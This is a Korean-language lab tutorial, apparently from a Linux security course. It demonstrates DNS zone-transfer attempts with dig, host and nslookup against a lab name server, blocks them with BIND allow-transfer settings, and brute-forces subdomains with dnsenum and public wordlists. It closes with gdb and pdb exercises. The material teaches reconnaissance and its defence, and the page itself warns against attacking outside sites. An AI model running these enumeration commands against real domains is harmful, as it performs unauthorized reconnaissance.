[root@kali ~]# dig sbs.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; sbs.com axfr
;; global options: +cmd
sbs.com.        300    IN    SOA    ns1.sbs.com. root.sbs.com. 2022092701 21600 1800 1209600 180
sbs.com.        300    IN    NS    ns1.sbs.com.
sbs.com.        300    IN    A    200.200.200.6
ns1.sbs.com.        300    IN    A    200.200.200.6
www.sbs.com.        300    IN    A    200.200.200.6
sbs.com.        300    IN    SOA    ns1.sbs.com. root.sbs.com. 2022092701 21600 1800 1209600 180
;; Query time: 0 msec
;; SERVER: 200.200.200.6#53(200.200.200.6) (TCP)
;; WHEN: Tue Sep 27 01:37:59 EDT 2022
;; XFR size: 6 records (messages 1, bytes 211)

host를 이용한 경우
[root@kali ~]# host sbs.com
sbs.com has address 200.200.200.6

[root@kali ~]# host -l sbs.com
sbs.com name server ns1.sbs.com.
sbs.com has address 200.200.200.6
ns1.sbs.com has address 200.200.200.6
www.sbs.com has address 200.200.200.6


C:\Users\user&gt;nslookup
기본 서버:  ns.lgdacom.net
Address:  164.124.101.2
&gt; server 200.200.200.6
&gt; set type=any
&gt; ls -d sbs.com
[[200.200.200.6]]
 sbs.com.                       SOA    ns1.sbs.com root.sbs.com. (2022092701 21600 1800 1209600 180)
 sbs.com.                       NS     ns1.sbs.com
 sbs.com.                       A      200.200.200.6
 ns1                            A      200.200.200.6
 www                            A      200.200.200.6
 sbs.com.                       SOA    ns1.sbs.com root.sbs.com. (2022092701 21600 1800 1209600 180)</code></pre><blockquote>
<p><strong>실습&gt; zone transfer 로그 확인하기</strong></p>
</blockquote>
<pre><code>zone transfer 를 실행하면 네임서버쪽에 관련 로그 /var/log/messages 가 남겨진다.
!!! 주의 !!!
그러므로 외부 사이트에 공격을 하면 안된다. 

1. 로그 모니터링
# cd
# &gt; /var/log/messages 
# tail -f /var/log/messages 

2. 공격 시도
[root@kali ~]# dig axfr sbs.com

; &lt;&lt;&gt;&gt; DiG 9.18.8-1-Debian &lt;&lt;&gt;&gt; axfr sbs.com
;; global options: +cmd
sbs.com.        300    IN    SOA    ns1.sbs.com. root.sbs.com. 2022092701 21600 1800 1209600 180
sbs.com.        300    IN    NS    ns1.sbs.com.
sbs.com.        300    IN    A    200.200.200.6
ns1.sbs.com.        300    IN    A    200.200.200.6
www.sbs.com.        300    IN    A    200.200.200.6
sbs.com.        300    IN    SOA    ns1.sbs.com. root.sbs.com. 2022092701 21600 1800 1209600 180
;; Query time: 0 msec
;; SERVER: 200.200.200.6#53(200.200.200.6) (TCP)
;; WHEN: Tue Mar 07 20:19:56 EST 2023
;; XFR size: 6 records (messages 1, bytes 211)

3. 로그 확인
# tail -f /var/log/messages 
Mar  7 08:26:55 localhost named[58491]: client @0x7f1fc40b9fb0 200.200.200.3#34901 (sbs.com): transfer of &#39;sbs.com/IN&#39;: AXFR started (serial 2022092701)
Mar  7 08:26:55 localhost named[58491]: client @0x7f1fc40b9fb0 200.200.200.3#34901 (sbs.com): transfer of &#39;sbs.com/IN&#39;: AXFR ended
</code></pre><blockquote>
<p><strong>실습&gt; zone transfer 허용 금지하기 (1st)</strong></p>
</blockquote>
<pre><code>zone transfer 허용을 금지 시키는 두 가지 방법
첫 번째 방법: /etc/named.rfc1912.zones 설정 파일에서 도메인 영역마다 허용을 금지 시키는 경우
두 번째 방법: /etc/named.conf 전체 설정 파일에서 허용을 금지 시키는 경우


생략: 허용, allow-transfer가 생략이 되면 기본값은 any
allow-transfer { any; };  : 모두 허용
allow-transfer { none; }; : 모두 거부 
allow-transfer { 2차네임서버IP주소; }; : 2차 네임서버만 허용하고 모두 거부

첫 번째 방법을 이용하는 경우
- 도메인이 여러 개 있을 경우 각 도메인별로 설정을 할 수 있다.

1. 설정파일 수정
zone transfer 허용을 금지 시키는 설정을 한다.
[root@victim3 ~]# vi /etc/named.rfc1912.zones 
  :
  :(생략)
zone &quot;sbs.com&quot; IN { type master; file &quot;sbs.com.zone&quot;; allow-update { none; }; allow-transfer { none; }; }; 
zone &quot;kbs.com&quot; IN { type master; file &quot;kbs.com.zone&quot;; allow-update { none; }; allow-transfer { none; }; };
zone &quot;mbc.com&quot; IN { type master; file &quot;mbc.com.zone&quot;; allow-update { none; }; allow-transfer { none; }; };

2. 네임서버 리로드
네임서버의 설정이 변경되었으므로 네임서버를 리로드한다.
[root@victim3 ~]# systemctl reload named

3. 로그파일 모니터링
[root@victim3 ~]# &gt; /var/log/messages
[root@victim3 ~]# tail -f /var/log/messages

4. 공격 시도
DNS zone transfer를 공격한다.
[root@kali ~]# dig sbs.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; sbs.com axfr
;; global options: +cmd
; Transfer failed.

[root@kali ~]# dig kbs.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; kbs.com axfr
;; global options: +cmd
; Transfer failed.

[root@kali ~]# dig mbc.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; mbc.com axfr
;; global options: +cmd
; Transfer failed.

5. 로그 확인
[root@victim3 ~]# tail -f /var/log/messages
Sep 27 14:54:44 victim3 named[3970]: client @0x7f4e480d3050 200.200.200.3#33987 (sbs.com): zone transfer &#39;sbs.com/AXFR/IN&#39; denied
Sep 27 14:57:32 victim3 named[3970]: client @0x7f4e4ae70e60 200.200.200.3#38415 (kbs.com): zone transfer &#39;kbs.com/AXFR/IN&#39; denied
Sep 27 14:57:38 victim3 named[3970]: client @0x7f4e4aeae3a0 200.200.200.3#39513 (mbc.com): zone transfer &#39;mbc.com/AXFR/IN&#39; denied

</code></pre><blockquote>
<p><strong>실습&gt; zone transfer 허용 금지하기 (2nd)</strong></p>
</blockquote>
<pre><code>zone transfer 허용을 금지 시키는 두 가지 방법
첫 번째 방법: /etc/named.rfc1912.zones 설정 파일에서 도메인 영역마다 허용을 금지 시키는 경우
두 번째 방법: /etc/named.conf 전체 설정 파일에서 허용을 금지 시키는 경우

생략: 허용, allow-transfer가 생략이 되면 기본값은 any
allow-transfer { any; };  : 모두 허용
allow-transfer { none; }; : 모두 거부 
allow-transfer { 2차네임서버IP주소; }; : 2차 네임서버만 허용하고 모두 거부

두 번째 방법을 이용하는 경우
- /etc/named.conf 전체 설정 파일에서 허용을 금지 시키는 경우

1. 설정파일 수정
[root@victim3 ~]# vi /etc/named.rfc1912.zones 
zone &quot;sbs.com&quot; IN { type master; file &quot;sbs.com.zone&quot;; allow-update { none; }; }; 
zone &quot;kbs.com&quot; IN { type master; file &quot;kbs.com.zone&quot;; allow-update { none; }; };
zone &quot;mbc.com&quot; IN { type master; file &quot;mbc.com.zone&quot;; allow-update { none; }; };

2. 네임서버 리로드
네임서버의 설정이 변경되었으므로 네임서버를 리로드한다.
[root@victim3 ~]# systemctl reload named


3. 공격 시도
3개의 도메인에 zone transfer를 모두 허용했기 때문에 존 파일 정보가 출력된다.
[root@kali ~]# dig axfr sbs.com
[root@kali ~]# dig axfr kbs.com
[root@kali ~]# dig axfr mbc.com

4. 설정파일 수정
/etc/named.conf 파일에서 한번의 설정으로 전체 도메인에 적용될 수 있도록 설정한다.
[root@victim3 ~]# vi /etc/named.conf
     allow-query     { any; };
     allow-transfer { none; };          

5. 네임서버 리로드
네임서버의 설정이 변경되었으므로 네임서버를 리로드한다.
[root@victim3 ~]# systemctl reload named


6. 로그파일 모니터링
[root@victim3 ~]# &gt; /var/log/messages
[root@victim3 ~]# tail -f /var/log/messages

7. 공격 시도
DNS zone transfer를 공격한다.
[root@kali ~]# dig sbs.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; sbs.com axfr
;; global options: +cmd
; Transfer failed.

[root@kali ~]# dig kbs.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; kbs.com axfr
;; global options: +cmd
; Transfer failed.

[root@kali ~]# dig mbc.com axfr

; &lt;&lt;&gt;&gt; DiG 9.18.4-2-Debian &lt;&lt;&gt;&gt; mbc.com axfr
;; global options: +cmd
; Transfer failed.

8. 로그 확인
공격자의 zone transfer 공격을 네임서버가 허용 금지로 설정했기 때문에 denied 로 로그가 기록 되었다.
[root@localhost ~]# tail -f /var/log/messages 
Mar  7 08:51:17 localhost named[58491]: client @0x7f1fc40b9fb0 200.200.200.3#39809 (sbs.com): zone transfer &#39;sbs.com/AXFR/IN&#39; denied
Mar  7 08:51:20 localhost named[58491]: client @0x7f1fc57bd160 200.200.200.3#44057 (kbs.com): zone transfer &#39;kbs.com/AXFR/IN&#39; denied
Mar  7 08:51:23 localhost named[58491]: client @0x7f1fc4070bd0 200.200.200.3#33031 (mbc.com): zone transfer &#39;mbc.com/AXFR/IN&#39; denied
</code></pre><blockquote>
<p><strong>실습&gt; DNS 공격툴을 이용한 DNS 정보 얻어오기</strong></p>
</blockquote>
<p>참고: <a href="https://www.kali.org/tools/dnsenum/">https://www.kali.org/tools/dnsenum/</a></p>
<p>이 공격을 하는 이유는 무엇인가?
DNS Zone Transfer가 막혀있기 때문에 도메인을 하나씩 질의해서 DNS에 대한 정보를 얻어오는 것이다.</p>
<pre><code>1. 사용법 확인
[root@kali ~]# dnsenum 
dnsenum VERSION:1.2.6
Usage: dnsenum [Options] &lt;domain&gt;
[Options]:
Note: If no -f tag supplied will default to /usr/share/dnsenum/dns.txt or
the dns.txt file in the same directory as dnsenum
GENERAL OPTIONS:
  --dnsserver     &lt;server&gt;
            Use this DNS server for A, NS and MX queries.
  --enum        Shortcut option equivalent to --threads 5 -s 15 -w.
  -h, --help        Print this help message.
  --noreverse        Skip the reverse lookup operations.
  --nocolor        Disable ANSIColor output.
  --private        Show and save private ips at the end of the file domain_ips.txt.
  --subfile &lt;file&gt;    Write all valid subdomains to this file.
  -t, --timeout &lt;value&gt;    The tcp and udp timeout values in seconds (default: 10s).
  --threads &lt;value&gt;    The number of threads that will perform different queries.
  -v, --verbose        Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:
  -p, --pages &lt;value&gt;    The number of google search pages to process when scraping names,
            the default is 5 pages, the -s switch must be specified.
  -s, --scrap &lt;value&gt;    The maximum number of subdomains that will be scraped from Google (default 15).
BRUTE FORCE OPTIONS:
  -f, --file &lt;file&gt;    Read subdomains from this file to perform brute force. (Takes priority over default dns.txt)
  -u, --update    &lt;a|g|r|z&gt;
            Update the file specified with the -f switch with valid subdomains.
    a (all)        Update using all results.
    g        Update using only google scraping results.
    r        Update using only reverse lookup results.
    z        Update using only zonetransfer results.
  -r, --recursion    Recursion on subdomains, brute force all discovered subdomains that have an NS record.
WHOIS NETRANGE OPTIONS:
  -d, --delay &lt;value&gt;    The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.
  -w, --whois        Perform the whois queries on c class network ranges.
             **Warning**: this can generate very large netranges and it will take lot of time to perform reverse lookups.
REVERSE LOOKUP OPTIONS:
  -e, --exclude    &lt;regexp&gt;
            Exclude PTR records that match the regexp expression from reverse lookup results, useful on invalid hostnames.
OUTPUT OPTIONS:
  -o --output &lt;file&gt;    Output in XML format. Can be imported in MagicTree (www.gremwell.com)

2. 로그 모니터링
200.200.200.6에서 로그를 모니터링 한다.
[root@localhost ~]# &gt; /var/log/messages
[root@localhost ~]# tail -f /var/log/messages

3. 공격 시도
[root@kali ~]# dnsenum --dnsserver 200.200.200.6 -f /usr/share/dnsenum/dns.txt sbs.com

4. 로그의 결과
공격자의 공격 로그가 아래처럼 기록된다.
[root@localhost ~]# tail -f /var/log/messages
Mar  7 09:31:52 localhost named[58491]: client @0x7f1fc57bd160 200.200.200.3#53871 (sbs.com): zone transfer &#39;sbs.com/AXFR/IN&#39; denied
Mar  7 09:31:53 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#48328 (0.200.200.200.in-addr.arpa): query (cache) &#39;0.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 09:31:53 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#48328 (1.200.200.200.in-addr.arpa): query (cache) &#39;1.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 09:31:53 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#48328 (2.200.200.200.in-addr.arpa): query (cache) &#39;2.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 09:31:53 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#48328 (3.200.200.200.in-addr.arpa): query (cache) &#39;3.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 09:31:53 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#48328 (4.200.200.200.in-addr.arpa): query (cache) &#39;4.200.200.200.in-addr.arpa/PTR/IN&#39; denied
  :
  :(생략)

5. 패킷 모니터링
200.200.200.6에서 패킷을 모니터링 하기 위해서 tcpdump 프로그램을 설치한다.
DNS를 내부로 돌렸기 때문에 yum2 프로그램을 만들어서 패키지를 설치한다.

[root@localhost ~]# mkdir bin
[root@localhost ~]# cd bin
[root@localhost ~]#  vi yum2 
-- yum2 --
#!/bin/sh
# 파일명: yum2
# 프로그램 설명: 외부 DNS로 변경하고 패키지를 설치한 후 내부 DNS로 변경한다.
# 작성자: 리눅스마스터넷

# 1. DNS 변경
cat &lt;&lt; EOF &gt; /etc/resolv.conf 
nameserver 168.126.63.1
EOF

# 2. 패키지 설치
# yum2 -y install tcpdump
# $@: -y install tcpdump
yum $@

# 3. DNS 복구
cat &lt;&lt; EOF &gt; /etc/resolv.conf 
nameserver 127.0.0.1
EOF
-- yum2 --

[root@localhost bin]# chmod 755 yum2 
[root@localhost bin]# cd
[root@localhost ~]# yum2 -y install tcpdump  
[root@localhost ~]# tcpdump -i ens33 udp port 53 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

6. 공격 시도
NIC 인터페이스인 ens33에서 UDP port 53번을 모니터링한다
[root@kali ~]# dnsenum --dnsserver 200.200.200.6 -f /usr/share/dnsenum/dns.txt sbs.com


[root@localhost ~]# tcpdump -i ens33 udp port 53 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
09:42:58.899724 IP 200.200.200.3.60938 &gt; 200.200.200.6.53: 32643+ A? sbs.com. (25)     
09:42:58.899942 IP 200.200.200.6.53 &gt; 200.200.200.3.60938: 32643*- 1/1/1 A 200.200.200.6 (75) 
09:42:58.901389 IP 200.200.200.3.40568 &gt; 200.200.200.6.53: 25718+ A? ekgbbzscsqix.sbs.com. (38) 
09:42:58.901524 IP 200.200.200.6.53 &gt; 200.200.200.3.40568: 25718 NXDomain*- 0/1/0 (83) 
09:42:58.904055 IP 200.200.200.3.40270 &gt; 200.200.200.6.53: 30833+ NS? sbs.com. (25) 
09:42:58.904144 IP 200.200.200.6.53 &gt; 200.200.200.3.40270: 30833*- 1/0/1 NS ns1.sbs.com. (59) 
09:42:58.905210 IP 200.200.200.3.35047 &gt; 200.200.200.6.53: 46102+ MX? sbs.com. (25) 
09:42:58.905259 IP 200.200.200.6.53 &gt; 200.200.200.3.35047: 46102*- 0/1/0 (70) 
09:42:58.906075 IP 200.200.200.3.53264 &gt; 200.200.200.6.53: 23462+ A? ns1.sbs.com. (29) 
09:42:58.906186 IP 200.200.200.6.53 &gt; 200.200.200.3.53264: 23462*- 1/1/0 A 200.200.200.6 (59) 
09:42:58.906861 IP 200.200.200.3.59257 &gt; 200.200.200.6.53: 19707+ AAAA? ns1.sbs.com. (29) 
  :
  :(생략)

</code></pre><blockquote>
<p><strong>실습&gt; 사전파일을 이용한 공격</strong></p>
</blockquote>
<p>기본 사전파일은 약 10,000개 정도가 있기 때문에 좀더 많은 서브도메인을 확인할 수 있게 
github에 공개되어 있는 사전파일을 다운로드 받는다.</p>
<p>사전 파일 다운로드
사전파일: <a href="https://github.com/rbsec/dnscan">https://github.com/rbsec/dnscan</a></p>
<pre><code>1. 사전 파일 다운로드
DNS 정보를 수정하고 다운로드 받는다.
[root@kali ~]# vi /etc/resolv.conf 
# Generated by NetworkManager
#nameserver 200.200.200.6
nameserver 168.126.63.1

[root@kali ~]# git clone https://github.com/rbsec/dnscan.git

설치된 이후에 DNS 정보를 다시 수정한다.
[root@kali ~]# vi /etc/resolv.conf 
# Generated by NetworkManager
nameserver 200.200.200.6

2. 로그 모니터링
[root@localhost ~]# &gt;  /var/log/messages 
[root@localhost ~]# tail -f  /var/log/messages 

3. 공격 시도
[root@kali ~]# cd dnscan
[root@kali dnscan]# wc -l subdomains-10000.txt
9985 subdomains-10000.txt

[root@kali dnscan]# dnsenum --dnsserver 200.200.200.6 -f subdomains-10000.txt  sbs.com

4. 로그 확인
[root@localhost ~]# tail -f  /var/log/messages 
  :
  :(생략)
Mar  7 10:02:35 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#46692 (242.200.200.200.in-addr.arpa): query (cache) &#39;242.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 10:02:35 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#46692 (243.200.200.200.in-addr.arpa): query (cache) &#39;243.200.200.200.in-addr.arpa/PTR/IN&#39; denied
Mar  7 10:02:35 localhost named[58491]: client @0x7f1fc40625a0 200.200.200.3#46692 (244.200.200.200.in-addr.arpa): query (cache) &#39;244.200.200.200.in-addr.arpa/PTR/IN&#39; denied
  :
  :(생략)

</code></pre><blockquote>
<p><strong>실습&gt; 사전 파일을 다운로드하는 python 프로그램 제작하기</strong></p>
</blockquote>
<pre><code>공격자 Kali Linux에서 실행한다.

1. 프로그램 제작
# cd 
vi -&gt; :set mouse= -&gt; i -&gt; 붙여넣기
[root@kali ~]# vi gitDownload.py
#! /usr/bin/env python3
# 파일명: gitDownload.py
# 프로그램 설명: 외부 DNS를 설정하고 github에서 사전파일을 가져오고 DNS를 다시 복원한다.
# 작성자: 리눅스마스터넷
# 버전: 2023030801

import os

# 1. 변수 설정
resolvConf1    = &#39;/etc/resolv.conf&#39;
resolvConf2    = &#39;/etc/resolv.conf.bak&#39;
nameserverInfo = &#39;nameserver 168.126.63.1&#39;
gitCommand     = &#39;git clone https://github.com/rbsec/dnscan.git .&#39;
makeDirectory  = &#39;/root/dnsDictAttack&#39;

# 2. DNS 파일 복사
# 참고: 
# import shutil
# shutil.copyfile(src, dst)
# 
# 파일 제어 첫 번째 방법
#
# with문을 이용하는 방법
# 1. 파일 열기 
# 2. 파일 제어(읽기, 쓰기)
# with문을 이용해서 파일을 제어하면 자동으로 파일을 닫아준다.
with open(resolvConf1, &#39;rt&#39;) as src:
    with open(resolvConf2, &#39;wt&#39;) as dst:
        dst.write(src.read())

# 3. 외부 DNS 설정
# 파일 제어 두 번째 방법
# 전통적인 방법
# 1. 파일 열기 
# 2. 파일 제어(읽기, 쓰기)
# 3. 파일 닫기
src = open(resolvConf1, &#39;wt&#39;)
src.write(nameserverInfo)
src.close()

# 4. 사전 파일 다운로드
os.mkdir(makeDirectory)  # 디렉터리를 생성한다.
os.chdir(makeDirectory)  # 디렉터리를 이동한다.
os.system(gitCommand)    # git으로 사전파일을 다운로드 한다.

# 5. DNS 복원
# resolvConf2 파일을 resolvConf1으로 변경한다.
os.rename(resolvConf2, resolvConf1)

2. 실행
[root@kali ~]# chmod 755 gitDownload.py
[root@kali ~]# ln -s gitDownload.py gitDownload
[root@kali ~]# ./gitDownload
[root@kali ~]# cd ~/dnsDictAttack/

3. 확인
[root@kali dnsDictAttack]# ls
dnscan.py   LICENSE    requirements.txt      subdomains-1000.txt  subdomains-500.txt  subdomains-uk-1000.txt  suffixes.txt
Dockerfile  README.md  subdomains-10000.txt  subdomains-100.txt   subdomains.txt      subdomains-uk-500.txt   tlds.txt
</code></pre><blockquote>
<p><strong>실습&gt; 서브 도메인 추가</strong></p>
</blockquote>
<pre><code>1. 호스트명 변경
[root@localhost ~]# hostnamectl set-hostname victim3.linuxmaster.net
[root@localhost ~]# bash
[root@victim3 ~]# 

2. 서브 도메인 추가
[root@victim3 ~]# vi /var/named/sbs.com.zone 
$TTL 300
@       IN   SOA  ns1  root (2022093001 21600 1800 1209600 180)
        IN   NS   ns1
        IN   A    200.200.200.6
ns1     IN   A    200.200.200.6
www     IN   A    200.200.200.6
; 여기부터 추가
swa     IN   A    200.200.200.6
orion2  IN   A    200.200.200.6
esmtp   IN   A    200.200.200.6
220     IN   A    200.200.200.6
testlab IN   A    200.200.200.6
t7      IN   A    200.200.200.6
thot    IN   A    200.200.200.6
wien    IN   A    200.200.200.6

네임서버를 리로드 한다.
[root@victim3 ~]# systemctl reload named

3. 패킷 덤프
[root@victim3 ~]# tcpdump -i ens33 udp port 53 -nn --number

4. 공격 시도
[root@kali dnsDictAttack]# dnsenum -f subdomains-10000.txt sbs.com
dnsenum VERSION:1.2.6

-----   sbs.com   -----


Host&#39;s addresses:
__________________

sbs.com.                                 300      IN    A        200.200.200.6


Name Servers:
______________

ns1.sbs.com.                             300      IN    A        200.200.200.6


Mail (MX) Servers:
___________________



Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for sbs.com on ns1.sbs.com ... 
AXFR record query failed: REFUSED


Brute forcing with subdomains-10000.txt:
_________________________________________

www.sbs.com.                             300      IN    A        200.200.200.6
ns1.sbs.com.                             300      IN    A        200.200.200.6
swa.sbs.com.                             300      IN    A        200.200.200.6
orion2.sbs.com.                          300      IN    A        200.200.200.6
esmtp.sbs.com.                           300      IN    A        200.200.200.6
220.sbs.com.                             300      IN    A        200.200.200.6
testlab.sbs.com.                         300      IN    A        200.200.200.6
t7.sbs.com.                              300      IN    A        200.200.200.6
thot.sbs.com.                            300      IN    A        200.200.200.6
wien.sbs.com.                            300      IN    A        200.200.200.6


sbs.com class C netranges:
___________________________

 200.200.200.0/24


Performing reverse lookup on 256 ip addresses:
_______________________________________________


0 results out of 256 IP addresses.


sbs.com ip blocks:
___________________


done.


5. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 udp port 53 -nn --number
  :
  :(생략)
23381  10:31:52.066068 IP 200.200.200.3.53125 &gt; 200.200.200.6.53: 50661+ A? inventory.sbs.com. (35)
23382  10:31:52.066546 IP 200.200.200.6.53 &gt; 200.200.200.3.53125: 50661 NXDomain*- 0/1/0 (80)
23383  10:31:52.067794 IP 200.200.200.3.35252 &gt; 200.200.200.6.53: 27647+ A? sigma.sbs.com. (31)
23384  10:31:52.068227 IP 200.200.200.6.53 &gt; 200.200.200.3.35252: 27647 NXDomain*- 0/1/0 (76)
23385  10:31:52.070160 IP 200.200.200.3.33354 &gt; 200.200.200.6.53: 31217+ A? telecom.sbs.com. (33)
23386  10:31:52.070685 IP 200.200.200.6.53 &gt; 200.200.200.3.33354: 31217 NXDomain*- 0/1/0 (78)
23387  10:31:52.072406 IP 200.200.200.3.57628 &gt; 200.200.200.6.53: 2318+ A? formation.sbs.com. (35)
23388  10:31:52.073081 IP 200.200.200.6.53 &gt; 200.200.200.3.57628: 2318 NXDomain*- 0/1/0 (80)
23389  10:31:52.076752 IP 200.200.200.3.59296 &gt; 200.200.200.6.53: 60102+ A? ib.sbs.com. (28)
23390  10:31:52.077528 IP 200.200.200.6.53 &gt; 200.200.200.3.59296: 60102 NXDomain*- 0/1/0 (73)
  :
  :(생략)

</code></pre><blockquote>
<p><strong>실습&gt; DNS의 사전 파일 공격 프로그램 제작하기</strong></p>
</blockquote>
<p>참고:
<a href="https://docs.python.org/ko/3/library/os.html?highlight=os#module-os">https://docs.python.org/ko/3/library/os.html?highlight=os#module-os</a>
<a href="https://docs.python.org/ko/3/library/pathlib.html#correspondence-to-tools-in-the-os-module">https://docs.python.org/ko/3/library/pathlib.html#correspondence-to-tools-in-the-os-module</a></p>
<pre><code>1. 사전파일 생성
자신의 홈디렉터리에 사전파일 dict.txt를 생성한다.
# cd
[root@kali ~]# cat &lt;&lt; EOF &gt; dict.txt
www
ns
swa
orion2
test
test2
EOF

2. 공격파일 생성
[root@kali ~]# vi dnsAttack.py
#! /usr/bin/python3

import os

os.system(&quot;pwd&quot;)
os.system(&quot;id&quot;)

[root@kali ~]# chmod 755 dnsAttack.py

[root@kali ~]# vi dnsAttack.py
#! /usr/bin/python3

import os

filename = &#39;dict.txt&#39;
f = open(filename, &#39;r&#39;)      # 1. 파일 열기: dict.txt 파일을 읽기 권한으로 오픈한다.
hostname = f.readline()      # 2. 파일 읽기: 한 줄을 읽어서 hostname 변수에 저장한다.

while hostname:              # 값이 있으면 참, 없으면 거짓
    print(hostname, end=&#39;&#39;)  # 화면에 출력한다.(엔터키는 제거)
    #os.system(f&#39;dig {hostname}.sbs.com +short&#39;)
    hostname = f.readline()  # 2. 파일 읽기: 한 줄을 읽어서 hostname 변수에 저장한다.

f.close()                    # 3. 파일 닫기


[root@kali ~]# ln -s dnsAttack.py dnsAttack
[root@kali ~]# ./dnsAttack
www



</code></pre><blockquote>
<p><strong>실습&gt; gdb 연습하기</strong></p>
</blockquote>
<pre><code>gdb(Gnu DeBugger)로 C, C++ 바이너리 파일을 분석할 때 사용한다.
화이트해커의 기본이다.

1. 패키지 설치
# yum2 -y install gdb gcc

2. 소스 작성
# vi gdbTest.c
/*
 * 파일명: gdbTest.c
 * 프로그램 설명: gdb를 이용한 디버깅 실습
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int i = 1;   // i = 1
    int j = 2;   // j = 2
    int hap = i + j;  // hap = i + j 

    // print(&quot;i = %d, j = %d, hap = %d&quot; %(i,j,hap)
    printf(&quot;i = %d, j = %d, hap = %d\n&quot;, i, j, hap);

    return 0;
}

3. 컴파일
-g 옵션을 이용해서 디버깅 정보가 바이너리에 포함된다.
# gcc -g -o gdbTest gdbTest.c 

# alias gdb=&#39;gdb -q&#39;
# gdb gdbTest

b(Break): bp 설정
r(Run): 프로그램 실행
p(Print) 변수: 변수의 내용 출력
n(Next): 다음 코드로 실행
c(Continue): 프로그램 끝까지 실행
q(Quit): 종료

run: 프로그램 실행
(gdb) run
Starting program: /root/gdbTest 
i = 1, j = 2, hap = 3
[Inferior 1 (process 73282) exited normally]
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.x86_64

list: 소스코드를 확인한다. -g 옵션을 넣고 컴파일해야 소스코드가 출력된다.
(gdb) list
2     * 파일명: gdbTest.c
3     * 프로그램 설명: gdb를 이용한 디버깅 실습
4     * 작성자: 리눅스마스터넷
5     */
6    
7    #include &lt;stdio.h&gt;
8    
9    int main()
10    {
11        int i = 1;   // i = 1
(gdb) 
12        int j = 2;   // j = 2
13        int hap = i + j;  // hap = i + j 
14    
15        // print(&quot;i = %d, j = %d, hap = %d&quot; %(i,j,hap)
16        printf(&quot;i = %d, j = %d, hap = %d\n&quot;, i, j, hap);
17    
18        return 0;
19    }

break: BP를 설정한다. main()함수에 Break Point를 설정한다.
(gdb) break main
Breakpoint 1 at 0x400535: file gdbTest.c, line 11.

r: run의 줄임말로 프로그램을 실행한다.
(gdb) r
Starting program: /root/gdbTest 

Breakpoint 1, main () at gdbTest.c:11
11        int i = 1;   // i = 1

next: 다음 코드를 실행한다.
(gdb) next
12        int j = 2;   // j = 2

print: 변수를 출력한다.
(gdb) print i
$1 = 1

n: next의 줄임말로 다음 코드를 실행한다.
(gdb) n
13        int hap = i + j;  // hap = i + j

p: print의 줄임말로 변수를 확인한다.
(gdb) p j
$2 = 2

(gdb) n
16        printf(&quot;i = %d, j = %d, hap = %d\n&quot;, i, j, hap);
(gdb) p hap
$3 = 3

(gdb) n
i = 1, j = 2, hap = 3
18        return 0;

c: contunue의 줄임말로 끝까지 실행한다. (BP가 없으면 프로그램이 종료된다.)
(gdb) c
Continuing.
[Inferior 1 (process 73520) exited normally]
(gdb) q
</code></pre><blockquote>
<p><strong>실습&gt; pdb 연습하기</strong></p>
</blockquote>
<pre><code>1. 패키지 설치
[root@kali ~]# vi /etc/resolv.conf 
nameserver 168.126.63.1
#nameserver 200.200.200.6

[root@kali ~]# pdb ./dnsAttack
Command &#39;pdb&#39; not found, but can be installed with:
apt install python-dev-is-python3
Do you want to install it? (N/y)y   &lt;-- y를 누르면 python-dev-is-python3 패키지가 설치된다.
apt install python-dev-is-python3
Reading package lists... Done
Building dependency tree... Done
  :
  :(생략)

2. 소스 분석
[root@kali ~]# pdb ./dnsAttack
&gt; /root/dnsAttack.py(3)&lt;module&gt;()
-&gt; import os
(Pdb) l
  1      #! /usr/bin/python3
  2      
  3  -&gt;    import os
  4      
  5      filename = &#39;dict.txt&#39;
  6      f = open(filename, &#39;r&#39;)
  7      hostname = f.readline()
  8      
  9      while hostname:
 10          #print(hostname, end=&#39;&#39;)
 11          print(f&#39;dig {hostname}.sbs.com +short&#39;)
(Pdb) 엔터
 12          hostname = f.readline()
 13      
 14      f.close()
[EOF]

(Pdb) n
&gt; /root/dnsAttack.py(5)&lt;module&gt;()
-&gt; filename = &#39;dict.txt&#39;

(Pdb) n
&gt; /root/dnsAttack.py(6)&lt;module&gt;()
-&gt; f = open(filename, &#39;r&#39;)

(Pdb) p filename
&#39;dict.txt&#39;

(Pdb) n
&gt; /root/dnsAttack.py(7)&lt;module&gt;()
-&gt; hostname = f.readline()

(Pdb) n
&gt; /root/dnsAttack.py(9)&lt;module&gt;()
-&gt; while hostname:
(Pdb) p hostname
&#39;www\n&#39;

(Pdb) n
&gt; /root/dnsAttack.py(11)&lt;module&gt;()
-&gt; print(f&#39;dig {hostname}.sbs.com +short&#39;)

(Pdb) c
  :
  :

(Pdb) q

3. 네임서버 변경
